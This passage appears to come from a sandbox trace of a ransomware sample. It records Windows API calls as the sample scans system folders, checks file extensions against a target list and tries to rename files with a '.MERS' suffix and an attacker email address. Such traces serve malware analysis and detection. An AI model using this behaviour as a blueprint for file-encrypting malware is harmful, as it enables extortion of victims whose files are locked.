Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0274.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0274.069] lstrlenW (lpString=".doc") returned 4 [0274.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.069] lstrlenW (lpString=".docx") returned 5 [0274.069] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0274.069] lstrlenW (lpString=".pdf") returned 4 [0274.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.069] lstrlenW (lpString=".xls") returned 4 [0274.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.070] lstrlenW (lpString=".xlsx") returned 5 [0274.070] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0274.070] lstrlenW (lpString=".ppt") returned 4 [0274.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0274.070] lstrlenW (lpString=".zip") returned 4 [0274.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.072] lstrlenW (lpString=".rar") returned 4 [0274.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.072] lstrlenW (lpString=".bz2") returned 4 [0274.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.072] lstrlenW (lpString=".7z") returned 3 [0274.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0274.073] lstrlenW (lpString=".dbf") returned 4 [0274.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0274.073] lstrlenW (lpString=".1cd") returned 4 [0274.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0274.073] lstrlenW (lpString=".jpg") returned 4 [0274.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0274.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0274.073] lstrlenW (lpString=".doc") returned 4 [0274.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.073] lstrlenW (lpString=".docx") returned 5 [0274.073] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0274.073] lstrlenW (lpString=".pdf") returned 4 [0274.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.073] lstrlenW (lpString=".xls") returned 4 [0274.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.073] lstrlenW (lpString=".xlsx") returned 5 [0274.073] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0274.073] lstrlenW (lpString=".ppt") returned 4 [0274.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0274.073] lstrlenW (lpString=".zip") returned 4 [0274.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.073] lstrlenW (lpString=".rar") returned 4 [0274.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.074] lstrlenW (lpString=".bz2") returned 4 [0274.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.074] lstrlenW (lpString=".7z") returned 3 [0274.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0274.074] lstrlenW (lpString=".dbf") returned 4 [0274.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0274.074] lstrlenW (lpString=".1cd") returned 4 [0274.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0274.074] lstrlenW (lpString=".jpg") returned 4 [0274.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.074] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0274.074] lstrlenW (lpString="DD00121_.WMF") returned 12 [0274.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0274.107] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=8256) returned 1 [0274.107] CloseHandle (hObject=0x3d4) returned 1 [0274.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) Thread: id = 99 os_tid = 0x6f8 [0257.691] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x3b00090 [0257.691] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x3b10098 [0257.691] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5953b8 [0257.691] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x5c2008 [0257.691] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5953d0 [0257.691] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100000) returned 0x40c0020 [0257.691] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5953e8 [0257.691] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5953e8, Size=0x20) returned 0x6293b0 [0257.691] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5953e8 [0257.691] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5953e8, Size=0x20) returned 0x6293d8 [0257.692] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0257.692] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0257.692] Wow64DisableWow64FsRedirection (in: OldValue=0x34aff58 | out: OldValue=0x34aff58*=0x0) returned 1 [0257.692] lstrlenW (lpString="kernel32.dll") returned 12 [0257.692] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6293b0 | out: hHeap=0x540000) returned 1 [0257.692] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0257.692] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6293d8 | out: hHeap=0x540000) returned 1 [0257.692] Sleep (dwMilliseconds=0x64) [0257.874] Sleep (dwMilliseconds=0x64) [0258.058] lstrcmpiW (lpString1=".LOG1", lpString2=".MERS") returned -1 [0258.058] lstrlenW (lpString="BCD.LOG1") returned 8 [0258.058] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.100] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=0) returned 1 [0258.100] CloseHandle (hObject=0x2f0) returned 1 [0258.101] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0258.101] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0258.101] lstrlenW (lpString=".doc") returned 4 [0258.101] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0258.101] lstrlenW (lpString=".docx") returned 5 [0258.101] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0258.101] lstrlenW (lpString=".pdf") returned 4 [0258.101] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0258.101] lstrlenW (lpString=".xls") returned 4 [0258.101] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0258.101] lstrlenW (lpString=".xlsx") returned 5 [0258.101] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0258.101] lstrlenW (lpString=".ppt") returned 4 [0258.101] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0258.101] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0258.101] lstrlenW (lpString=".zip") returned 4 [0258.101] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0258.101] lstrlenW (lpString=".rar") returned 4 [0258.101] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0258.101] lstrlenW (lpString=".bz2") returned 4 [0258.101] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0258.101] lstrlenW (lpString=".7z") returned 3 [0258.101] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0258.101] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0258.101] lstrlenW (lpString=".dbf") returned 4 [0258.101] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0258.101] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0258.101] lstrlenW (lpString=".1cd") returned 4 [0258.101] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0258.101] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0258.101] lstrlenW (lpString=".jpg") returned 4 [0258.101] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0258.101] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0258.101] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0258.102] lstrlenW (lpString=".doc") returned 4 [0258.102] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0258.102] lstrlenW (lpString=".docx") returned 5 [0258.102] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0258.102] lstrlenW (lpString=".pdf") returned 4 [0258.102] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0258.102] lstrlenW (lpString=".xls") returned 4 [0258.102] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0258.102] lstrlenW (lpString=".xlsx") returned 5 [0258.102] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0258.102] lstrlenW (lpString=".ppt") returned 4 [0258.102] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0258.102] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0258.102] lstrlenW (lpString=".zip") returned 4 [0258.102] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0258.102] lstrlenW (lpString=".rar") returned 4 [0258.102] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0258.102] lstrlenW (lpString=".bz2") returned 4 [0258.102] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0258.102] lstrlenW (lpString=".7z") returned 3 [0258.102] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0258.102] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0258.102] lstrlenW (lpString=".dbf") returned 4 [0258.102] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0258.102] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0258.102] lstrlenW (lpString=".1cd") returned 4 [0258.102] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0258.102] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0258.102] lstrlenW (lpString=".jpg") returned 4 [0258.102] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0258.103] lstrcmpiW (lpString1=".ttf", lpString2=".MERS") returned 1 [0258.103] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0258.103] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.174] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=1984228) returned 1 [0258.174] CloseHandle (hObject=0x2f0) returned 1 [0258.174] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0258.174] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.174] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0 [0258.174] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0258.174] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0258.174] lstrlenW (lpString=".doc") returned 4 [0258.174] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0258.174] lstrlenW (lpString=".docx") returned 5 [0258.174] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0258.174] lstrlenW (lpString=".pdf") returned 4 [0258.174] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0258.174] lstrlenW (lpString=".xls") returned 4 [0258.174] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0258.174] lstrlenW (lpString=".xlsx") returned 5 [0258.174] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0258.174] lstrlenW (lpString=".ppt") returned 4 [0258.174] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0258.174] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0258.174] lstrlenW (lpString=".zip") returned 4 [0258.174] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0258.174] lstrlenW (lpString=".rar") returned 4 [0258.174] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0258.174] lstrlenW (lpString=".bz2") returned 4 [0258.174] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0258.174] lstrlenW (lpString=".7z") returned 3 [0258.174] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0258.174] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0258.175] lstrlenW (lpString=".dbf") returned 4 [0258.175] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0258.175] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0258.175] lstrlenW (lpString=".1cd") returned 4 [0258.175] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0258.175] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0258.175] lstrlenW (lpString=".jpg") returned 4 [0258.175] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0258.175] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0258.175] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0258.175] lstrlenW (lpString=".doc") returned 4 [0258.175] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0258.175] lstrlenW (lpString=".docx") returned 5 [0258.175] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0258.175] lstrlenW (lpString=".pdf") returned 4 [0258.175] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0258.175] lstrlenW (lpString=".xls") returned 4 [0258.175] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0258.175] lstrlenW (lpString=".xlsx") returned 5 [0258.175] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0258.175] lstrlenW (lpString=".ppt") returned 4 [0258.175] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0258.175] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0258.175] lstrlenW (lpString=".zip") returned 4 [0258.175] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0258.175] lstrlenW (lpString=".rar") returned 4 [0258.175] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0258.175] lstrlenW (lpString=".bz2") returned 4 [0258.175] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0258.175] lstrlenW (lpString=".7z") returned 3 [0258.175] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0258.175] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0258.175] lstrlenW (lpString=".dbf") returned 4 [0258.175] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0258.175] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0258.176] lstrlenW (lpString=".1cd") returned 4 [0258.176] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0258.176] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0258.176] lstrlenW (lpString=".jpg") returned 4 [0258.176] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0258.176] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.176] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28 [0258.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0258.782] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=2560) returned 1 [0258.782] CloseHandle (hObject=0x2d4) returned 1 [0258.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0258.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0258.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0258.783] lstrlenW (lpString=".doc") returned 4 [0258.783] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.783] lstrlenW (lpString=".docx") returned 5 [0258.783] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.783] lstrlenW (lpString=".pdf") returned 4 [0258.783] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.783] lstrlenW (lpString=".xls") returned 4 [0258.783] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.783] lstrlenW (lpString=".xlsx") returned 5 [0258.783] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.783] lstrlenW (lpString=".ppt") returned 4 [0258.783] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0258.783] lstrlenW (lpString=".zip") returned 4 [0258.783] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.783] lstrlenW (lpString=".rar") returned 4 [0258.783] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.783] lstrlenW (lpString=".bz2") returned 4 [0258.783] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.783] lstrlenW (lpString=".7z") returned 3 [0258.783] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0258.784] lstrlenW (lpString=".dbf") returned 4 [0258.784] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0258.784] lstrlenW (lpString=".1cd") returned 4 [0258.784] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0258.784] lstrlenW (lpString=".jpg") returned 4 [0258.784] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0258.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0258.784] lstrlenW (lpString=".doc") returned 4 [0258.784] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.784] lstrlenW (lpString=".docx") returned 5 [0258.784] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.784] lstrlenW (lpString=".pdf") returned 4 [0258.784] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.784] lstrlenW (lpString=".xls") returned 4 [0258.784] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.784] lstrlenW (lpString=".xlsx") returned 5 [0258.784] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.784] lstrlenW (lpString=".ppt") returned 4 [0258.784] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0258.784] lstrlenW (lpString=".zip") returned 4 [0258.784] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.784] lstrlenW (lpString=".rar") returned 4 [0258.784] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.784] lstrlenW (lpString=".bz2") returned 4 [0258.784] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.784] lstrlenW (lpString=".7z") returned 3 [0258.785] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0258.785] lstrlenW (lpString=".dbf") returned 4 [0258.785] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0258.785] lstrlenW (lpString=".1cd") returned 4 [0258.785] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0258.785] lstrlenW (lpString=".jpg") returned 4 [0258.785] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.785] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.785] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0258.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0258.880] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=3584) returned 1 [0258.880] CloseHandle (hObject=0x318) returned 1 [0258.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0258.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0258.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0258.880] lstrlenW (lpString=".doc") returned 4 [0258.880] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.880] lstrlenW (lpString=".docx") returned 5 [0258.880] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0258.880] lstrlenW (lpString=".pdf") returned 4 [0258.880] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.880] lstrlenW (lpString=".xls") returned 4 [0258.881] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.881] lstrlenW (lpString=".xlsx") returned 5 [0258.881] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0258.881] lstrlenW (lpString=".ppt") returned 4 [0258.881] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0258.881] lstrlenW (lpString=".zip") returned 4 [0258.881] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.881] lstrlenW (lpString=".rar") returned 4 [0258.881] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.881] lstrlenW (lpString=".bz2") returned 4 [0258.881] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.881] lstrlenW (lpString=".7z") returned 3 [0258.881] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0258.881] lstrlenW (lpString=".dbf") returned 4 [0258.881] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0258.881] lstrlenW (lpString=".1cd") returned 4 [0258.881] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.881] 